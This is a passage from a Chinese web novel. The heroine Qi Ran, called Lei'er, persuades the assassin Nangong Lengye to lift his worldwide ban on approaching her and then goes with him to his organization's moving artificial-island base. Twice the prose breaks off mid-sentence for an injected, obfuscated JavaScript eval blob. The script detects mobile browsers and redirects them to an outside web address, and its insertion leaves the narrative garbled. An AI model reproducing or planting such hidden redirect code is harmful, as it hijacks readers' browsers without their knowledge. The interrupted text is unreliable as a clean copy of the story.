“是的,昨天——”星痕想向祁冉作出解释,却被一阵猛烈的攻势逼得节节败退,最终只能对祁冉喊道,“抱歉,之后有机会我再和你说,我得先撤退了!” 祁冉不想让近在眼前的希望就这么溜走,但她更害怕星痕有个好歹,那样的话她就彻底别想回家了! 于是,她只能悲痛地说道:“好,星痕学长,你万事小心!” 虽然星痕看不到祁冉说这话时的神情,但他听出她语气中的哀伤与痛苦,心中不免泛起一阵酸楚与怜惜。 她自己身边都这样危机四伏,却依然记得关心他。 他按下所有的负面情绪,像平时一样笑容明朗道:“放心,泪儿小姐,我一定会回来找你的!” 那还是不要了,他一出现就就会带来纷争,而纷争就意味着危险! 听着枪声逐渐远去直至消失,祁冉稍稍松了口气,坐在雕塑后思考下一步的行动方向。 既然对方都是南宫冷夜带来的人,那应该不会伤害她。而且,她的任务需要和南宫冷夜产生接触,现在或许是个不错的机会。 不过他们都在暗处,祁冉并不知道南宫冷夜藏在哪里,他也不一定能听得见自己的话,保险起见,她最好还是先做点准备。 祁冉左右张望着,从周围的草丛中就近捡来一截树枝,又用树枝勾来一个白色塑料袋,将塑料袋绑在树枝上充当白旗,小心翼翼地从雕塑后方伸出树枝大幅挥动。 “南宫学长,我是泪儿,我有话要和你说!” 她扯着嗓子重复几遍后,听到南宫冷夜的声音从扩音器中传出:“好的,泪儿小姐,请你待在那里不要走动,我马上过来找你。” 顺便给她带几个橘子是吗! 他们的装备也真是够齐全的。 过了大概五分钟,祁冉听到雕塑后传来轻微的脚步声,她捏着一把冷汗,攥紧了手中的树枝。 如果来的人不是南宫冷夜,她就先下手为强,给对方当头一棍! “泪儿小姐,抱歉让你受惊了。” 当南宫冷夜的声音在耳畔响起时,祁冉差点条件反射地抬起手里的武器。她仰起头扫了南宫冷夜一眼,他眼眸低垂,表露出愧疚的神色,但手里却端着把崭新的狙击步枪。 “没有,我知道南宫学长是为了我的安全才这样做的。”他的火力值决定了祁冉对他的态度,她站起身违心地笑着,悄无声息地扔掉手里那根寒酸的树枝,看着黑漆漆的枪口和他商量,“要不你先把枪放下再说话?” 他拿着这种真家伙跟她交谈,她心里多少有些发怵。 南宫冷夜神情坚毅:“不行,放下枪就无法保护你。” 祁冉沉默了一下:“……那你有没有听说过另一句话,‘拿起枪就无法拥抱你’?” 南宫冷夜眼波微动:“泪儿小姐,你想……” “不,我不想,我只是打个比方!”看他的眼神祁冉就知道他误解了自己的话,“我的意思是,现在我只是想以单纯的朋友身份和你聊几句。” 他的声音冷酷如常,却隐着一丝失落:“好。” 情况紧急,祁冉顾不上照顾他的情绪,抓紧时间进入正题,向她询问刚才那个星痕没来得及回答的问题:“南宫学长,你为什么要和星痕学长在这里打起来,你不担心暴露自己的身份吗?更何况学校里还有其他人,他们都是无辜的,不应该被卷进你们的争斗中。” 南宫冷夜没有在第一时间回答祁冉的话,他默默注视了她几秒钟,这才重新开口。 “泪儿小姐,我知道你一直很善良,但没想到在你自己的安全都受到威胁时,你还能惦记着我,挂念着其他人的安危。” 他轻轻叹了口气:“我的确不想在这里向星痕复仇,只是我的手下一时疏忽让他逃脱,到这里来找你,我不得已才向他开了枪。” 祁冉点头:“所以你是跟着他来艾利牛顿的?” “那倒不是。”南宫冷夜给出了一个意料之外的答案,“我从两个小时前就一直守在这里。” “为什么?”祁冉不解,“你的目标不是星痕学长吗?” “当然是,但我还有更重要的事要做。”南宫冷夜注视着祁冉,“泪儿小姐,我答应过要保护你,所以绝对不能食言。和这个承诺相比,我暴露身份实在不算什么。” 祁冉忽然响起今天早上她经历的种种异常,连忙向南宫冷夜问道:“所以,我周围连一个人都没有,这都是因为你?” “没错。”他微微勾起唇角,“昨天我和星痕还有洛玄打得不分上下,直到天黑也没能决出胜负,最终只能各自撤退。考虑到你的身份特殊,随时都有可能遇到危险,我连夜让手下以组织的名义发了全球通告,禁止所有人接近你,否则就会遭到我们的攻击。” 他为自己的行为作出总结:“我必须清除你身边所有的潜在威胁。” 祁冉被震惊得说不出一句话。 他简直是法外狂徒啊! 这世界完全没有警察吗? “也就是说,整个地球的人都收到了你的警告,不能接近我?” 南宫冷夜笃定地点头。 这下真是丢人丢到国外去了! 怪不得发生了这么大的事,她却没有见到其他几位男主赶来保护她,想来应该是他们也受到了南宫冷夜的阻拦。 按照他的说法,现在全校师生都不能近她的身,那她还怎么完成“正常上学”的任务? 祁冉试图让南宫冷夜改变主意:“可是南宫学长,你这样会严重扰乱艾利牛顿的教学秩序,我也没办法去教室照常听课。” 连她自己都要被她热爱学习的精神感动了。 南宫冷夜摇头:“抱歉泪儿小姐,我认为你的安全更重要。” 谁说不是呢,可小时候的她不答应啊! “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894681|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样吧。”祁冉思索片刻,向他提议道,“从今天起你和我一起行动,我无论做什么都始终待在你身边,别人见到你就肯定不会靠近我了,也更方便你时刻警戒我身边的危险。你看这个办法行不行?” 这样她也能盯着南宫冷夜,别真把无辜路人卷进来。 南宫冷夜愣了几秒,不可置信地向祁冉确认:“你愿意和我在一起?” 他高考时的语文阅读理解绝对是零分吧,她说的话经他一翻译,意思都歪到姥姥家去了! 但为了能顺利推进剧情,祁冉羞涩地眨眨眼,模棱两可地应道:“嗯。” “……我知道了。” 他不自然地将视线从祁冉脸上移开,为了不显露出他的局促,他岔开话题拿出通讯仪:“那我这就联络我的手下。” 告知他们更改防御策略后,一则警戒解除的全球通告也随之发出,期间南宫冷夜将狙击枪交给了他的下属,只带了些小巧隐蔽的防身武器回来。几分钟后,祁冉的视野范围内终于冒出来几个稀稀拉拉的彩色人头,他们大着胆子从距离她二十米远的路上经过,战战兢兢地打探着周围的情况,迅速在掩体之间移动。 在他们这几名侦察兵成功渡劫后,消息便以极快的速度传遍整个艾利牛顿商学院,不多时学校就恢复了往常那般人声鼎沸的热闹景象。 但坐在自己座位上的祁冉只觉得脊背发寒。 由于剧情的固有设定,她桌斗里又装满了每天早上刷新的情书,那些信的落款处随机分布着数百个男生的姓名。此刻南宫冷夜正在帮他清理信封,虽然他没有表露出什么不快的神情,自始至终也没有说一句话,但祁冉还是觉得,只要她敢让这些信脱离自己的视线,事后这些人就都会登上南宫冷夜的暗杀名单! 祁冉讪笑着,向他讨要手中的情书:“南宫学长,你把这些信交给我就好,待会我自己处理。” 南宫冷夜按她的话照做,语气隐约有些不快:“你很珍惜这些信?” 坏了,又是送命题! 祁冉飞快地思考着,想出一个最合适的回答:“准确地说,我只是很珍惜这些美好的情感。” 她诚挚地说道:“虽然我并不会回应他们的情书,也并不喜欢这些给我写信的人,但我认为这些信中都寄托着他们最为珍贵的感情,所以我不该将它草率处置。” 她这番话好像深深地触动了南宫冷夜,他若有所思地点点头:“的确。” 既然说到了“感情”,祁冉觉得她或许可以顺势把话题引导到自己任务的方向上。 她叹了口气,装出惆怅的神情:“所以我不太明白。南宫学长,你之前和星痕学长的关系那么要好,但现在却闹成这副模样。当年阿尔法星人和你父母之间到底发生了什么事,你能给我讲讲吗?” 南宫冷夜沉默良久,像是在做着激烈的思想斗争。 最后,他答应了祁冉的要求:“可以。” 祁冉还没来得及在心底欢呼,就听到他继续说道:“但我要换个地方讲,那里更安全些。等今天的课程结束后,我们一起过去。” 根据她的经验来讲,一旦她进入新地图就肯定会开启新剧情,祁冉警惕地问道:“什么地方?” 南宫冷夜压低声音回答:“我们组织所在的基地。” 祁冉一听顿时汗毛倒竖。 跑到杀手组织的大本营里,她不要命啦! “这……这不太好吧。”祁冉挤出一个微笑,“毕竟那是你最重要的秘密,不能轻易透露给别人。” “不,你不是外人。”南宫冷夜笃定地说着,“而且只有回到那里,我才能更好地保护你的安全。” 祁冉还想再争辩几句,悬浮屏上的文字却让她打消了这个念头。 【剧情:泪儿向南宫冷夜打听他父母遇害事件的详情,出于安全考虑,他提出要将泪儿带回黑暗杀手组织所在的基地,等到那时再向她详述这些事情的来龙去脉。虽然善良的泪儿不想给他人造成麻烦,但南宫冷夜态度坚决,而且他说的话不无道理,最终泪儿只好答应了他的要求。】 【任务:同意南宫冷夜的话,在课后和他一同前往基地,听他讲述自己的身世过往。】 祁冉可算是明白了,难怪南宫冷夜这次不担心告诉她事情真相会引来危险了,反正她下课后横竖都要跟着他去基地,也不差再知道这点信息了! 她无奈地在心底默念一句“不入虎穴,焉得虎子”,顺势叹了口气。 “好吧,下课后我跟你走。” 30.黑暗组织 透过窗户玻璃,祁冉看到飞机下的那座岛屿正在被放大,上面的一个个小方块逐渐变得清晰,这些建筑物先是显露出它们颜色,然后是大致的轮廓、形状,最终呈现出表面所有的细节。 这里就是那个所谓的“黑暗杀手组织”所在的基地,它位于一座与世隔绝的小岛上,四面环海,周围有水雾缭绕,至今尚未被人发现。 直升飞机在停机坪上降落后,祁冉跟随南宫冷夜起身,一同向舱外走去。 走出舱门的瞬间,祁冉注意到迎面而来的不止海风,还有两列庄严肃穆的迎宾队伍。这些人整齐地分列在舱门两侧,穿着影视剧里的特工装束,服装颜色是清一色的黑,他们的衣摆在风中猎猎作响,却站得身姿笔挺,像一尊尊屹立不倒的雕像。这些人无论男女都是全副武装的模样,所有人都神情严肃,不苟言笑,好像复制粘贴的扑克脸。 在这种氛围下,祁冉也只能保持噤声的状态,连大气都不敢出,谨慎地从他们组成的过道中穿行,由于过分紧张,她没注意自己走出了顺拐的步伐,就像还没调试好的机器人那样僵硬地向前移动。 祁冉很害怕她会不小心做出什么令他们生疑的动作,说不定她马上就会被这些人打成筛子! 看眼下这情景,她怎么觉得自己更像是被恐怖组织挟持了呢? 不知道是不是受到这种严肃氛围的感染,南宫冷夜的神情比平时还要冷峻几分,祁冉觉得她身边的空气都被他凝成了冰霜。 在忐忑不安中,祁冉跟着南宫冷夜进入一幢大楼,据他介绍,这里是他的个人房间的所在地。 她刚一迈进门内,眼前的光线就骤然一暗。过了几秒她才渐渐适应了这里的亮度,继续跟着南宫冷夜在走廊上前进。 这里不愧是黑暗杀手组织的主建筑,真是名副其实的黑暗,走廊上的每两盏灯都隔着十万八千米远,光线还昏暗无比,好像组织掏不起电费一样,愣是营造出一派冷寂肃穆的气氛。 祁冉正在吐槽,忽而听见耳边传来一句中气十足的男声:“报告大哥,我刚才带人检查过您的房间,当前情况一切安全!” 她被吓了一跳,赶忙收回注意力看向前方那个站在南宫冷夜面前的男人。 在幽暗的光线中,男人的身形铺开了一个庞大的阴影,因此显得室内的空间十分逼仄;他嘴角紧绷,臂膀结实,“孔武有力”这个形容词在他面前都显得过于羸弱,那道横跨脸庞的伤疤更是让他显得面露凶光。 最重要的是这人看上去都快四十岁了,他把南宫冷夜称呼为“大哥”,怎么听都很奇怪! 南宫冷夜对此倒像是习以为常,只是略一点头,简单应了句:“好,注意警戒。” 祁冉觉得他说这话的语气和她的那个前领导似的。 他怎么年纪轻轻就一把年纪了! 接着,南宫冷夜往旁边闪开一步,露出后面正在极力降低存在感的祁冉:“她就是泪儿小姐。” 这名彪形大汉循声将目光锁定在祁冉身上,表面上祁冉还在僵硬地微笑,但其实人已经走了有一会了。 救命,失去了南宫冷夜的遮蔽,她只能直面这个看起来很像是混□□的人了! 他迅速将祁冉从头到脚地打量一遍,而后点点头,声如洪钟地说道:“欢迎泪儿小姐,您请进。” 祁冉惶恐地看着他那身几乎要撑破衬衫的肌肉,瑟瑟发抖地应道:“谢、谢谢。” 他一点都不像是在欢迎她啊! 直到一行人护送着她进入房间,南宫冷夜遣散所有的手下并请她落座后,祁冉才稍稍放松下来,分出注意力来打量一下周围的环境。 南宫冷夜的房间和普通的房屋构造没有太大区别,根据不同功能分为客厅、厨房、卧室等区域,只是家具陈设更为简洁,没有任何多余的非生活必需品。 “南宫学长,你平时就住在这里吗?” “对。”南宫冷夜倒了茶水递给祁冉,缓和语气说道,“抱歉,刚才我们吓到你了。这里的气氛有些紧张,你可能不太适应。” 祁冉笑了笑,拿捏着腔调说:“还好,毕竟你也是为了我的安全着想,我可以理解。” 关键是她不来到这里就无法完成任务! 她试探着把话题转移到她想问的问题上:“但你们组织里有这么多成员,你平时既要管理他们还要上学,同时自己也要执行任务,一定很辛苦吧?” “还好。”他似乎并不想过多谈及他身上背负的压力,只是轻描淡写地说着,“这是我的职责所在。” 祁冉明白,这种高冷人设的攻略难度比普通人要大上许多,她决定采取迂回战术,暂时放下这个问题,先从不相干的话题说起:“南宫学长,我今晚住哪?” 按照两人的约定,她需要24小时地待在距离南宫冷夜十米之内的地方,夜晚自然也一样。为此她还特意提前向系统询问过,确定这段过夜的剧情中没有什么见不得人的亲密戏码。 南宫冷夜回答:“你睡我的卧室就好。” 祁冉问:“那你呢?” “我把床边的东西腾开,在那里打地铺。”他还不忘向她作出保证,“你放心,我绝对不会做那些越界的事。” 系统都这么说了,祁冉当然不会怀疑他这句话的真实性。 “我相信你。”为了让南宫冷夜敞开心扉顺利完成任务,祁冉抓住一切机会提高他的好感度,和他客套道,“但学长是为了保护我才把我带到这里来的,我不能让你因为我睡在地上,还是我打地铺吧。” “不,地上太凉,这样对你的身体不好。”他果断拒绝了祁冉的提议,“我平时风餐露宿惯了,睡在地上对我来说没什么影响。” 不愧是世界第一杀手,身体素质过硬。 他这日子过得也太苦了! 祁冉摆出一副心痛的神情,半真半假地赞叹道:“南宫学长,你的意志真是超乎寻常地坚强。这样的生活我一天都过不下去。” 一天到晚都过着这种快节奏高压力的生活,还总要提防着来自四面八方的危险,连个囫囵觉都睡不成,想想就令人绝望。 “我也不是从一开始就能做到这些的,但人总得学会适应。”南宫冷夜淡然一笑,起身说道,“我去收拾房间。” 祁冉闻声跟随他起身:“我也来帮忙。” 和房间整体的风格一致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903383|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,南宫冷夜的卧室也处处彰显着“实用主义”四字,灰白的墙壁上没有任何装饰,床边也只有一个方正的床头柜和大号收纳箱,靠墙是一个不大的衣柜,这一切都让房间显得有些荒凉空旷。 两人将为数不多的杂物整理好,南宫冷夜走向那个大收纳箱,弯腰将它抱起:“我把过道腾出来,待会在这里铺上垫子和床单就可以了。” 祁冉见状赶忙跑过去:“等等,我来帮你。” 尽管南宫冷夜再三推辞,祁冉还是抬起将箱子的另一边,好减轻南宫冷夜的负担。收纳箱沉甸甸地压在她的手臂上,里面似乎装了不少东西。 到目前为止她还没在南宫冷夜的房间里见到多少物品,她有些好奇地问:“南宫学长,这里面都装了些什么?” “一些很重要的东西。”南宫冷夜一边后退一边回答,“但不太常用,所以我就将它们收起来了。” 祁冉更纳闷了,这种东西不应该出现在他的房间才对:“是和你之前的那些任务有关吗,比如任务记录之类?还是说——啊!” 祁冉的惊叫与南宫冷夜的警告同时响起:“泪儿小姐,扶稳墙壁!” 但他说这话时已经晚了,一阵猛烈的晃动袭来,整个房间都发出剧烈的颤抖,地板随之左右摇晃、倾斜。祁冉没有任何防备,她的身体猝然失去平衡,箱子随即脱离她的控制,她也打了个趔趄摔倒在地,只能紧紧地抓住身边的床沿。 听着脚下传来隆隆作响的声音,她惊恐地问道:“地震了吗?” 南宫冷夜靠着墙壁稳住身形,用腿抵住脚边的箱子防止它在上下颠簸中乱晃:“不是,是我们脚下的这座岛屿在移动。” 祁冉攥紧床沿崩溃地问:“这岛怎么还能移动?” “因为它本来就是一座人造岛,其构造和那些巨型轮船没有太大区别。”在巨大的轰鸣声中,南宫冷夜不得不提高嗓门解释,“这是为了防止组织基地被人发现,所以我们设定好,每隔四小时就要改变岛屿位置,驶向另一个目标区域。” 这种离谱的设定竟然还有一丝诡异的合理! 说话间,剧烈的抖动逐渐平息,这座人造岛进入了平稳行驶的阶段。 在晃动停止后,南宫冷夜第一时间赶过来拉起祁冉:“抱歉泪儿小姐,我事先忘了告诉你要注意。” 祁冉起身拍拍裤子上的灰尘,十分大度地说:“没关系,你每天有那么多事要做,一时疏忽也很正常。” 在这个玛丽苏世界生活了这么久,她面对任何突发状况都能习以为常了! 她看向门口那个刚才被自己丢开的箱子,对南宫冷夜说道:“比起这个,我们还是先检查一下箱子里的东西有没有损坏吧。那里面有易碎品吗?” “没有。”这话提醒了南宫冷夜,他走到收纳箱边掀开箱盖,“但你说得对,为了以防万一,我最好还是开箱检查一遍。” 既然南宫冷夜没有让她回避,说明箱子里面的东西不是什么秘密。于是祁冉也上前蹲在南宫冷夜身边,满怀好奇地看向收纳箱里的东西。 出乎她预料的是,箱中的物品竟然一反南宫冷夜的冷峻风格,满载着柔软温暖的味道。